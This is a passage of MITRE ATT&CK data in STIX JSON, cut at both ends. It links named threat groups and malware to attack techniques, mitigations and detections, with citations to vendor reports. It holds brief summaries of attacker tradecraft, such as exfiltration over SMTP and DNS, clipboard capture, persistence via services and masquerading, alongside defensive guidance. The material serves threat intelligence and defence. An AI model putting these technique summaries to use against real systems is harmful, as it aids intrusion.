2022)","relationship_type":"uses","source_ref":"malware--802a874d-7463-4f2a-99e3-6a1f5a919a21","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1fe64d85-29ca-4cf0-9b30-8d41ebad37fc","type":"relationship","created":"2020-06-04T19:45:16.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail1 dec 2018","url":"https://objective-see.com/blog/blog_0x3B.html","description":"Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."},{"source_name":"objective-see windtail2 jan 2019","url":"https://objective-see.com/blog/blog_0x3D.html","description":"Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019."}],"modified":"2020-06-25T18:41:35.200Z","description":"[WindTail](https://attack.mitre.org/software/S0466) has the ability to enumerate the users home directory and the path to its own application bundle.(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)","relationship_type":"uses","source_ref":"malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1fea6d3f-b097-4e4e-b089-5abd6e2659e7","created":"2023-04-11T03:23:27.865Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T03:23:27.865Z","description":"Restrict Registry permissions to disallow the modification of sensitive Registry keys such as `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order`.","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1fec545d-436a-4b70-8ab8-87d217956b8f","created":"2023-09-27T20:16:52.124Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:30:44.859Z","description":"[NightClub](https://attack.mitre.org/software/S1090) can use SMTP and DNS for file exfiltration and C2.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1fedf226-02b4-4634-a7bf-4dac49bd97a3","type":"relationship","created":"2020-02-05T14:40:37.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Group123","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html"},{"source_name":"Securelist ScarCruft May 2019","url":"https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/","description":"GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019."}],"modified":"2020-02-05T14:40:37.009Z","description":"[APT37](https://attack.mitre.org/groups/G0067) uses steganography to send images to users that are embedded with shellcode.(Citation: Talos Group123)(Citation: Securelist ScarCruft May 2019)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ff32fe1-7555-4582-879c-63cb6e78e4ba","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -–type=service –all. Auditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ff37097-9ec1-42cd-bdd6-52d74ab8e3b5","created":"2022-02-09T14:32:47.801Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Kimsuky Nov 2021","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"},{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-08T18:15:52.392Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used compromised and acquired infrastructure to host and deliver malware including Blogspot to host beacons, file exfiltrators, and implants.(Citation: Talos Kimsuky Nov 2021)(Citation: Mandiant APT43 March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ff3e957-905e-4d2b-b893-c280052bbe30","created":"2024-09-16T14:49:31.426Z","revoked":false,"external_references":[{"source_name":"Github_SILENTTRINITY","description":"byt3bl33d3r. (n.d.). SILENTTRINITY. Retrieved September 12, 2024.","url":"https://github.com/byt3bl33d3r/SILENTTRINITY"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T14:49:31.426Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can monitor Clipboard text and can use `System.Windows.Forms.Clipboard.GetText()` to collect data from the clipboard.(Citation: Github_SILENTTRINITY) ","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1ff4d9b1-3a94-4bde-87cf-d4f19ac1ef50","created":"2022-07-18T15:56:47.978Z","x_mitre_version":"0.1","external_references":[{"source_name":"Korean FSI TA505 2020","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) can collect keyboard events.(Citation: Korean FSI TA505 2020)","modified":"2022-07-18T15:56:47.978Z","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ffac810-9c9e-4060-9902-737085ba8bc5","type":"relationship","created":"2019-01-30T16:39:54.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2020-03-20T16:51:20.663Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) can execute commands.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ffb7c73-5c51-48a3-85a0-b64111cccdd1","created":"2023-04-10T22:14:47.005Z","revoked":false,"external_references":[{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T22:14:47.005Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has used `whoami` to gather user information.(Citation: Rapid7 HAFNIUM Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ffba98c-788b-47e0-a67c-9d3700e86ec5","type":"relationship","created":"2019-06-18T17:20:43.778Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black JCry May 2019","url":"https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/","description":"Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."}],"modified":"2019-06-30T23:03:26.157Z","description":"[JCry](https://attack.mitre.org/software/S0389) has created payloads in the Startup directory to maintain persistence. (Citation: Carbon Black JCry May 2019)","relationship_type":"uses","source_ref":"malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ffbf752-ed3a-47bb-8351-92ed7118dc5d","type":"relationship","created":"2021-03-18T16:33:07.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA EB Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a","description":"Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. Retrieved March 18, 2021."}],"modified":"2021-03-18T16:33:07.740Z","description":"[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) has encrypted strings with RC4.(Citation: CISA EB Aug 2020)","relationship_type":"uses","source_ref":"malware--e928333f-f3df-4039-9b8b-556c2add0e42","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2003aaad-7b87-461d-b17f-b19100069ad9","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"url":"https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China","description":"Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.","source_name":"CSM Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:29.092Z","description":"[Elderwood](https://attack.mitre.org/groups/G0066) has delivered zero-day exploits and malware to victims via targeted emails containing a link to malicious content hosted on an uncommon Web server.(Citation: Symantec Elderwood Sept 2012)(Citation: CSM Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20118b8d-dc6e-4c71-8d99-789901c10e73","type":"relationship","created":"2020-04-27T20:40:03.132Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-29T16:00:35.642Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has used spearphishing attachments to infect victims.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2011a4ee-6b40-45a1-8bcf-f19568d16d02","created":"2020-12-22T17:59:54.205Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."},{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has downloaded additional scripts, tools, and malware onto victim systems.(Citation: Crowdstrike GTR2020 Mar 2020)(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-12T14:38:47.746Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2012985d-6529-4944-a2d2-892d56751b94","type":"relationship","created":"2021-09-29T22:24:15.753Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T22:24:15.753Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has installed a new Windows service to establish persistence.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--201502c6-d208-408b-b6f3-50e39dab14ca","created":"2020-07-15T20:23:36.575Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"},{"source_name":"Trusteer Carberp October 2010","description":"Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020.","url":"https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.250Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has masqueraded as Windows system file names, as well as \"chkntfs.exe\" and \"syscron.exe\".(Citation: Prevx Carberp March 2011)(Citation: Trusteer Carberp October 2010)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--201802a3-afae-4c10-a125-0fc4fd62f1d2","created":"2023-09-06T15:06:34.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.634Z","description":"(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20196489-8426-4cb7-a8f0-ca51bef7a385","type":"relationship","created":"2020-08-26T18:38:18.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA/FBI Drovorub August 2020","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}],"modified":"2020-08-26T18:38:18.071Z","description":"[Drovorub](https://attack.mitre.org/software/S0502) has used XOR encrypted payloads in WebSocket client to server messages.(Citation: NSA/FBI Drovorub August 2020)","relationship_type":"uses","source_ref":"malware--99164b38-1775-40bc-b77b-a2373b14540a","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--201f9d85-be41-4aeb-984f-6ece40d4177d","type":"relationship","created":"2022-03-07T19:33:01.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"modified":"2022-03-07T19:33:01.783Z","description":"[Meteor](https://attack.mitre.org/software/S0688) has the ability to download additional files for execution on the victim's machine.(Citation: Check Point Meteor Aug 2021)","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2025480a-6d91-4ef5-a6ea-cc025c8aecfb","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:09:59.303Z","description":"[ZLib](https://attack.mitre.org/software/S0086) has the ability to download files.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--166c0eca-02fd-424a-92c0-6b5106994d31","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2026783b-b6c7-432f-9c28-72090cb5539a","created":"2022-09-22T21:01:46.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T20:36:15.409Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used the `systeminfo` command to gather details about a compromised system.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--202b96f6-0f7c-4aed-8004-780f1d880059","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2020-03-19T19:56:10.611Z","description":"[PHOREAL](https://attack.mitre.org/software/S0158) is capable of manipulating the Registry.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--f6ae7a52-f3b6-4525-9daf-640c083f006e","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--202dcc11-d005-4cf6-8014-f8da0e0d1c56","created":"2024-06-10T19:02:38.183Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:02:38.183Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) used various scripts to remove or disable security tools, such as http_watchdog and firewallsd, as well as tools related to other botnet infections, such as mips_ff, on victim devices.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--202e085f-f9aa-48a3-a49a-d033054c8c51","created":"2022-12-22T19:52:11.691Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-22T19:52:11.691Z","description":"[DEADEYE](https://attack.mitre.org/software/S1052) can use `msiexec.exe` for execution of malicious DLL.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--202e5e50-09e4-431b-a786-d846beb5e009","type":"relationship","created":"2020-04-28T14:51:08.671Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT41 March 2020","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign 